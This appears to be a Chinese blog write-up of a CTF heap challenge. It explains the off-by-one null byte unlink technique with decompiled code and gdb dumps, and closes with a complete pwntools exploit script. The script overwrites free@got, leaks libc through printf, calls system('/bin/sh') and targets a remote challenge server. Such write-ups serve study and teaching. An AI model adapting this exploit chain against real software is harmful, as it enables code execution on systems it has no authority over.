Unlink学习笔记(off-by-one null byte漏洞利用)

看了很多malloc unlink 的案例,仍然是云里雾里, 找了一个案例,反复调了几十遍才弄明白其中原理。

off-by-one 漏洞 以及漏洞利用原理

off-by-one漏洞就是malloc 本来分配了0xf8的内存,结果可以写0xf9字节的数据,多写了一个,影响了下一个内存块的头部信息,
进而造成了被利用的可能。

unlink是双链表中删除一个节点的操作。
当前是p
前一个 BK = p->bk (back的缩写)
后一个 FD = p->fd (forward的缩写)
BK->fd = FD
FD->bk = BK
设置使得前一个的后一个等于当前节点的后一个,后一个的前一个等于当前节点的前一个。这样就完成了链表删除。
内存块chunk 的结构
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|如果前一个块是释放状态,则这里存储前一个块的大小 prev_size,否则为用户数据 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 当前块的大小 size最后一个字节为前一个块是否是释放状态Prev_in_use |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 用户数据 .
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 如果前一个块是释放状态,则这里存储前一个块的大小 prev_size,否则为用户数据 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 当前块的大小 最后一个字节为前一个块是否是释放状态Prev_in_use |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

可以看到有一个奇怪的地方prev_size ,
如果前一个块是释放状态,则存储前一个块的大小,如果前一个块正在使用,则存储前一个块的数据。
前一个块是否被使用在size域的最后一位, 如果我们先在prev_size写上数据, 再修改size最后一位,就可以造出一个假的块。
我们释放下一个块,因为我们构造了一个free的假块,这两个块就会做合并。这就出发了额unlink。

unlink就可以改写某个地方的数据/

题目

一个简单的菜单题 栈溢出无法利用,在set中存在溢出0的情况,就是说多写了一个0 (off-by-one null byte),堆溢出一个0。
1 为分配内存 2为设置 3为删除 4不管用(故意不然泄露)。 5 退出。

直接运行程序输出:

Welcome to Alibaba Living Area, here you can
1. Init the message
2. Set the message
3. Delete the message
4. Show the message
5. Exit

IDA反编译代码如下:


void __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  alarm(0x1Eu);
  sub_40094E(30LL, 0LL);
  while ( 1 )
  {
    switch ( (unsigned int)sub_400963() )
    {
      case 1u:
        yang_init();
        break;
      case 2u:
        yang_set();
        break;
      case 3u:
        yang_del();
        break;
      case 4u:
        yang_show();
        break;
      case 5u:
        yang_exit();
        return;
      default:
        puts("Invalid input\n");
        break;
    }
  }
}
signed __int64 yang_init()
{
  signed __int64 result; // rax
  int i; // [rsp+0h] [rbp-10h]
  int size; // [rsp+4h] [rbp-Ch]
  char *buf; // [rsp+8h] [rbp-8h]

  if ( g_sz >= 0 && g_sz <= 15 )
  {
    printf("Input the message length:", 0LL);
    size = read_int();
    if ( size >= 0 && size <= 256 )
    {
      buf = (char *)malloc(size);
      while ( *(_QWORD *)&g_tb[2 * i + 1] > 0LL )
        ++i;
      g_tb[2 * i] = (struct Record)buf;
      g_tb[2 * i + 1] = (struct Record)size;
      ++g_sz;
      puts("Done~!");
      result = 0LL;
    }
    else
    {
      puts("Not allow~!");
      result = 1LL;
    }
  }
  else
  {
    puts("Not allow~!");
    result = 1LL;
  }
  return result;
}
signed __int64 yang_del()
{
  signed __int64 result; // rax
  int size; // [rsp+Ch] [rbp-4h]

  printf("Input the message index:");
  size = read_int();
  if ( size >= 0 && size <= 16 )
  {
    if ( *(_QWORD *)&g_tb[2 * size + 1] <= 0LL )
    {
      puts("Not allow~!");
      result = 1LL;
    }
    else
    {
      g_tb[2 * size + 1] = 0LL;
      free(*(void **)&g_tb[2 * size]);
      --g_sz;
      puts("Done~!");
      result = 0LL;
    }
  }
  else
  {
    puts("Not allow~!");
    result = 1LL;
  }
  return result;
}
int yang_show()
{
  return puts("Not allow~!");
}
signed __int64 yang_set()
{
  signed __int64 result; // rax
  int sz; // [rsp+Ch] [rbp-4h]

  printf("Input the message index:");
  sz = read_int();
  if ( sz >= 0 && sz <= 16 )
  {
    if ( *(_QWORD *)&g_tb[2 * sz + 1] <= 0LL )
    {
      puts("Not allow~!");
      result = 1LL;
    }
    else
    {
      printf("Input the message content:");
      read_buf(*(char **)&g_tb[2 * sz], *(_QWORD *)&g_tb[2 * sz + 1]);   //这个函数里溢出了一个0
      puts("Done~!");
      result = 0LL;
    }
  }
  else
  {
    puts("Not allow~!");
    result = 1LL;
  }
  return result;
}
signed int __fastcall read_buf(char *in, unsigned int size)
{
  char buf; // [rsp+17h] [rbp-9h]
  unsigned int i; // [rsp+18h] [rbp-8h]
  int v5; // [rsp+1Ch] [rbp-4h]

  v5 = 0;
  for ( i = 0; i <= size; ++i )                 // 存在off-by-one漏洞
  {
    if ( read(0, &buf, 1uLL) < 0 )
      return -1u;
    if ( buf == '\n' )
    {
      in[i] = 0;
      return i;
    }
    in[i] = buf;
  }
  in[i - 1] = 0;
  return i - 1;
}

分析

分析可知, 有一个全局变量(存储在bss段), 里面记录着每一段的地址和大小
struct Record{
char* p;
int sz;
} g_records[20]; 因为是64为,所以他们指针和int都是8字节,一个Record段正好是16字节(0x10) ,存在 0x6020c0的位置(下面有内存截图)

这里面有指针,我们可以用unlink修改其中的指针,进而修改其他的指针为got表的地址,这样就可以修改got表的free项为printf或者system。
使用printf,调用删除函数,实际上就调用了printf(而不是原本的free)。
free(buf) —> printf(buf)

这样就可以进行内存地址泄露,进而算出system的值,再将free_got改为system地址,执行删除函数
free(‘/bin/sh’) 就变成了 system(‘/bin/sh’)

这个思路有点精炼,看不懂看下面具体步骤。

先构造几个串备用

def new_msg(len):
    p.recvuntil("Choice:")
    p.sendline("1")
    p.recvuntil("length:")
    p.sendline(str(len))
    print 'create new msg ' , len

new_msg(0xf8) # 0: 0x100 printf argument, %x.%x.
new_msg(0xf8) # 1: binsh, system argument
new_msg(0xf8) # 2: useless chunk
new_msg(0xf8) # 3: unlink target
new_msg(0xf8) # 4: free target
new_msg(0xf8) # 5: avoid consolidate with top chunk

看一个gdb

heap

0x6d1000 PREV_INUSE { //第0个块
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6d1100 PREV_INUSE { //第1个块
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6d1200 PREV_INUSE { //第2个块
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6d1300 PREV_INUSE { //第3个块
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6d1400 PREV_INUSE {//第4个块
prev_size = 0x0,
size = 0x101,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

注意这个串的大小是有讲究的。需要是16的倍数+8, 这是和malloc对齐机制有关。

如果是 16的倍数,那么就会再增加16字节的头部存储prev_size和size。
如果是16x+8的形式,就会只增加8个字节的size部分,prev_size用上一个内存块的最后8位来表示。(size中存的是 用户分配的大小+0x8)
而上一个块我们是可以控制的,这代表这我们可以任意的改这个prev_size。
当然这个prev_size只有在当前快的prev_in_use(存在size最低位)为1的时候才能生效,所以需要一个溢出一个字节null。
溢出后下一个块的size的最低字节变成了0。这就要求我们的大小不能太小。

如果是 0xa8 的大小, 那么size中值为0xb0 ,null溢出后 这个值变成了0x00 。没大小了!!这就不对了。
目前我们设计的大小为f8 , f8+8 = 100 , 带着prev_in_use 为1, 实际在size中存储的是0x101。
溢出后低字节被清零,得到了0x100,这表示前一个块是空的。
那么前一个块在什么地方呢? 噔噔噔噔 !! 就在prev_size中,而这个块

构造假块

Unlink 在自己可控区域内构造一个假的块。

chunk_ptr = 0x6020c0 + 3*0x10  # 这个地址就是全局变量g_records[3].p 在unlink 的安全检查下,只能改这个地方的值。
payload = p64(0x110) + p64(0xf1) + p64(chunk_ptr - 0x18) + p64(chunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0) 
# fd: 2nd chunk's pointer - 0x18
# bk: 2nd chunk's pointer - 0x10
# 0xd0 = 0xf8 - 0x28(prev_size, size, next_prev_size, fd, bk)
# 0x101 -> 0x100

set_msg(3, payload)

看修改后的内存。

0x1b10300: 0x0000000000000000 0x0000000000000101 块3 的开始
0x1b10310: 0x0000000000000110 0x00000000000001f1 这个快是我们控制的内存 (我们构造的假块的开始)
0x1b10320: 0x00007fefce073b78 0x00007fefce073b78
0x1b10330: 0x6161616161616161 0x6161616161616161
0x1b10340: 0x6161616161616161 0x6161616161616161
0x1b10350: 0x6161616161616161 0x6161616161616161
0x1b10360: 0x6161616161616161 0x6161616161616161
0x1b10370: 0x6161616161616161 0x6161616161616161
0x1b10380: 0x6161616161616161 0x6161616161616161
0x1b10390: 0x6161616161616161 0x6161616161616161
0x1b103a0: 0x6161616161616161 0x6161616161616161
0x1b103b0: 0x6161616161616161 0x6161616161616161
0x1b103c0: 0x6161616161616161 0x6161616161616161
0x1b103d0: 0x6161616161616161 0x6161616161616161
0x1b103e0: 0x6161616161616161 0x6161616161616161
0x1b103f0: 0x6161616161616161 0x6161616161616161
0x1b10400: 0x00000000000000 f0 0x00000000000001 00 这是块4的size字段。(块2) 这个字节溢出被改了!!本来使是01

f0是我们造的prev_size

0x1b10400 地址仍然属于上一个块的可控范围,现在将其设置为f0
而这个地址是下一个块的prev_size , (如果prev-in-use是0的话)

而原本 0x1b10408 位置为 101 ,表示上一个块 正在被使用,现在
01 这个字节被 00 替换。 让其以为上一个块是free的。

下面我们会free 块4 ,块4 就会根据 prev_size (f0)这个值去寻找头部。这个头部正好是我们构造的0x1b10310 这个位置。

然后free函数会监测 上一个块(FD指向)的下一个块是不是当前块
下一个块的上一个块是不是当前块,即:

FD->bk == P 和
BK->fd == P

FD->bk 怎么理解, FD是一个指针,它指向的内存块以Chunk这个结构体的方式访问
我们造的假块的结构如下:
Chunk { // 第3个块
prev_size = 0x110, //本来chunk 3 的大小和chunk 2的大小都是0x100,现在我们造的假块地址是chunk3地址加0x10,所以上一块的内容要加0x110
size = 0xf1, //这个地方size为0xf0,最低位为1 ,表示上一个块不是free状态,这样就不会出现连锁的合并。
fd = chunk_ptr - 0x18, // chunk_ptr 是另外一个变量,这个变量中保存着这个块的地址。是g_table[3].p = malloc(0xf8) 中p的地址。
bk = chunk_ptr - 0x10,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

在结构体中 bk的偏移量是0x18 , 假设结构体的地址为FD ,那么 FD->bk 的地址为 FD+0x18
下面的内存中保存着 分配的内存地址 ,如果把结构体的头部(FD)放在 0x6020d8,那么FD->BK 正好是 0x6020f0
0x6020f0 值正好是0x1b10310 , 即 FD->fd 的值 == P。

0x6020c0: 0x0000000001b10010 0x00000000000000f8
0x6020d0: 0x0000000001b10110 0x00000000000000f8
0x6020e0: 0x0000000001b10210 0x00000000000000f8
0x6020f0: 0x0000000001b10310 0x00000000000000f8
0x602100: 0x0000000001b10410 0x00000000000000f8
0x602110: 0x0000000001b10510 0x00000000000000f8

这样就通过了检查。随后执行

FD->bk = BK
BK->fd = FD

因为检查中保证了 P= FD->bk = BK->fd 所以上面的语句相当于

P = FD = 0x6020f0 - 0x18
即将0x6020f0 的地址改为了0x6020f0 - 0x18 ,见下图

0x6020c0: 0x0000000001b10010 0x00000000000000f8
0x6020d0: 0x0000000001b10110 0x00000000000000f8
0x6020e0: 0x0000000001b10210 0x00000000000000f8
0x6020f0: 0x00000000006020d8 0x00000000000000f8 # 标黄的地方就是chunk_ptr 已经被修改成了自己的地址-0x18
0x602100: 0x0000000001b10410 0x0000000000000000
0x602110: 0x0000000001b10510 0x00000000000000f8

泄露地址和执行system

修改了这个地址有什么用呢? 本来有一个指针指向它的。
struct Record{
char* p;
int sz;
}
现在, p= 0x6020d8;
这样我们对p进行修改, 就可以修改0x6020d8对应的位置,这个位置也在上面数据所示的表格中。

比如我们把它改为got_entry_free的地址,

payload = p64(0xf8) + p64(got_entry_free) + p64(0xf8)[:-1]
setmsg(3,payload)

通过这个串,可以讲内存设置为

0x6020c0: 0x0000000001169010 0x00000000000000f8 Record 0
0x6020d0: 0x0000000001169110 0x00000000000000f8 Record 1
0x6020e0: 0x0000000000 602018 0x00000000000000f8 这里被成功写入了 Record 2
0x6020f0: 0x00000000006020d8 0x00000000000000f8 Record 3
0x602100: 0x0000000001169410 0x0000000000000000 Record 4
0x602110: 0x0000000001169510 0x00000000000000f8 Record 5

got_entry_free的值被成功写入到 了 Record 2 中, 对2的修改就会修改free_got的值,改变其本身的行为
本来该调用free函数的,却调用了我们写入的值。

我们现在将printf 的 地址写入,因为不知道这个地址,所以我们写入plt的地址。

payload = p64(0x4006E0)[:-1] # printf plt address
set_msg(2, payload)

0x602018 <free@got.plt>:    **0x00000000004006e0**  0x00007fa818174690   # 这里被改写成了
0x602028 <__stack_chk_fail@got.plt>:    0x00000000004006d6  0x00007fa81815a800
0x602038 <alarm@got.plt>:   0x00007fa8181d1200  0x00007fa8181fc250
0x602048 <__libc_start_main@got.plt>:   0x00007fa818125740  0x0000000000400726
0x602058 <malloc@got.plt>:  0x00007fa818189130  0x00007fa818174e70

这样在执行 del 时,本该调用free,结果却调用了printf ,这就带来了地址泄露。比如执行

printf(“%11$lx”)就可以输出lib_main_ret的地址,进而计算出system的地址。

同样的设置address的地址

payload = p64(system_address)[:-1] # printf plt address
set_msg(2, payload)

随后调用
del_msg(1) 这样本应该执行 free(chunk_1_address) 的,结果执行了system(chunk_1_address)

随意,我们预先在chunk 1 中存储 /bin/sh ,这样命令行就打开了。


#!/usr/bin/env python
# coding: utf-8

from pwn import *
context.log_level = "error"

#init
context(arch = 'amd64', os = 'linux')
local=True

if local:
    p = process("./fb")
else:
    p = remote("121.40.56.102", 9733)

print '[*] PID:',pidof('fb')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

name = "fb"

off_onegadget = 0x4526A
offset___libc_start_main_ret = 0x20830
offset_system = 0x45390
offset_read = 0xf6670
offset_write = 0xf66d0
offset_str_bin_sh = 0x18c177

def attach():
    if local:
        gdb.attach(pidof(name)[0],gdbscript = "b * 0x400CB1\n")

def new_msg(len):
    p.recvuntil("Choice:")
    p.sendline("1")
    p.recvuntil("length:")
    p.sendline(str(len))
    print 'create new msg ' , len

def set_msg(idx,cont):
    p.recvuntil("Choice:")
    p.sendline("2")
    p.recvuntil("index:")
    p.sendline(str(idx))
    p.recvuntil("content:")
    p.sendline(cont)
    print 'set  msg ' , idx,',cont = ',cont

def del_msg(idx):
    print 'del_msg ' , idx
    p.recvuntil("Choice:")
    p.sendline("3")
    p.recvuntil("index:")
    p.sendline(str(idx))

def my_eval():
    print 'Enter python model'
    while True:
        try:
            s = raw_input("python>")
            if s == 'q\n':
                return
            print eval(s)
        except Exception as e:
            print (e)

def mp(str):
    print str
    return 1
new_msg(0xf8) # 0: 0x100 printf argument, %x.%x.
new_msg(0xf8) # 1: binsh, system argument
new_msg(0xf8) # 2: useless chunk
new_msg(0xf8) # 3: unlink target
new_msg(0xf8) # 4: free target
new_msg(0xf8) # 5: avoid consolidate with top chunk

# lack of chunks
#attach()


chunk_ptr = 0x6020c0 + 3*0x10 

set_msg(0,"%lx."* 0x11) # 0
set_msg(1,"/bin/sh\x00") # 1

payload = p64(0x110) + p64(0xf1) + p64(chunk_ptr - 0x18) + p64(chunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0) 
# fd: 2nd chunk's pointer - 0x18
# bk: 2nd chunk's pointer - 0x10
# 0xd0 = 0xf8 - 0x28(prev_size, size, next_prev_size, fd, bk)
# 0x101 -> 0x100

set_msg(3, payload)
#raw_input("press to continue")

del_msg(4)
#raw_input("xxxxx")


#set_msg(3, 'a' * 0x10)


got_entry_free = 0x000000000602018 
payload = p64(0xf8) + p64(got_entry_free) + p64(0xf8)[:-1]
# 0xf8 got_entry_free 0xf8 without '\x00' overflow
set_msg(3, payload)
payload = p64(0x4006E0)[:-1] # printf plt address
set_msg(2, payload)

#attach()

# printf("%lx."* 0x11)
del_msg(0)

offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_dup2 = 0x00000000000f7970
offset_read = 0x00000000000f7250
offset_write = 0x00000000000f72b0
offset_str_bin_sh = 0x18cd57

r = p.recvuntil("Done~!", drop = True)
print "recv ", r , "\n--------------------------"

r = r.split('.')[-2]

# p.interactive()

libc_start_main_ret_addr = int("0x" + r ,16)


print "libc_start_main_ret_addr: ", hex(libc_start_main_ret_addr)

# we unlink, check chunk_ptr's position
system_addr = libc_start_main_ret_addr - offset___libc_start_main_ret + offset_system

print "system_addr: ", hex(system_addr)


payload = p64(system_addr)[:-1]
set_msg(2, payload)

set_msg(1,"/bin/sh\x00")

del_msg(1)

my_eval()
p.interactive()

# we unlink, check chunk_ptr's position

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值